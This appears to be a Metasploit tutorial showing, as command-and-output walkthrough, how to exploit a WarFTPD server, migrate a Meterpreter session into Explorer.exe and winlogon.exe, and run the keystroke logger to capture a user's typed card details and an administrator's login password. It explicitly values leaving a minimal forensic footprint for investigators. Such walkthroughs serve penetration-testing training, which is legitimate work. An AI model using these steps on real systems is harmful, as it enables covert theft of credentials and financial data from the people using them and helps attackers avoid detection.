Using a Keylogger with Metasploit

After you have exploited a system there are two different approaches you can take, either smash and grab or low and slow.

Low and slow can lead to a ton of great information, if you have the patience and discipline. One tool you can use for low and slow information gathering is the keystroke logger script with Meterpreter. This tool is very well designed, allowing you to capture all keyboard input from the system, without writing anything to disk, leaving a minimal forensic footprint for investigators to later follow up on. Perfect for getting passwords, user accounts, and all sorts of other valuable information.

Lets take a look at it in action. First, we will exploit a system as normal.

msf exploit(warftpd_165_user) > exploit

[*] Handler binding to LHOST
[*] Started reverse handler
[*] Connecting to FTP server
[*] Connected to target FTP server.
[*] Trying target Windows 2000 SP0-SP4 English...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 4 opened ( ->

meterpreter >

Then, we will migrate Meterpreter to the Explorer.exe process so that we don’t have to worry about the exploited process getting reset and closing our session.

meterpreter > ps

Process list

    PID   Name               Path                                                   
    ---   ----               ----                                                   
    140   smss.exe           \SystemRoot\System32\smss.exe                          
    188   winlogon.exe       ??\C:\WINNT\system32\winlogon.exe                     
    216   services.exe       C:\WINNT\system32\services.exe                         
    228   lsass.exe          C:\WINNT\system32\lsass.exe                            
    380   svchost.exe        C:\WINNT\system32\svchost.exe                          
    408   spoolsv.exe        C:\WINNT\system32\spoolsv.exe                          
    444   svchost.exe        C:\WINNT\System32\svchost.exe                          
    480   regsvc.exe         C:\WINNT\system32\regsvc.exe                           
    500   MSTask.exe         C:\WINNT\system32\MSTask.exe                           
    528   VMwareService.exe  C:\Program Files\VMwareVMware Tools\VMwareService.exe 
    588   WinMgmt.exe        C:\WINNT\System32\WBEMWinMgmt.exe                     
    664   notepad.exe        C:\WINNT\System32\notepad.exe                          
    724   cmd.exe            C:\WINNT\System32\cmd.exe                              
    768   Explorer.exe       C:\WINNT\Explorer.exe                                  
    800   war-ftpd.exe       C:\Program Files\War-ftpd\war-ftpd.exe                 
    888   VMwareTray.exe     C:\Program Files\VMware\VMware Tools\VMwareTray.exe    
    896   VMwareUser.exe     C:\Program Files\VMware\VMware Tools\VMwareUser.exe    
    940   firefox.exe        C:\Program Files\Mozilla Firefox\firefox.exe           
    972   TPAutoConnSvc.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe 
    1088  TPAutoConnect.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe 

meterpreter > migrate 768
[*] Migrating to 768...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 768

Finally, we start the keylogger, wait for some time and dump the output.

meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes... my credit amex   myusernamthi     amexpasswordpassword

Could not be easier! Notice how keystrokes such as control and backspace are represented.

As an added bonus, if you want to capture system login information you would just migrate to the winlogon process. This will capture the credentials of all users logging into the system as long as this is running.

meterpreter > ps

Process list

PID Name         Path
--- ----         ----
401 winlogon.exe C:\WINNT\system32\winlogon.exe

meterpreter > migrate 401

[*] Migrating to 401...
[*] Migration completed successfully.

meterpreter > keyscan_start
Starting the keystroke sniffer...

**** A few minutes later after an admin logs in ****

meterpreter > keyscan_dump
Dumping captured keystrokes...
Administrator ohnoes1vebeenh4x0red!

Here we can see by logging to the winlogon process allows us to effectively harvest all users logging into that system and capture it. We have captured the Administrator logging in with a password of ‘ohnoes1vebeenh4x0red!’.


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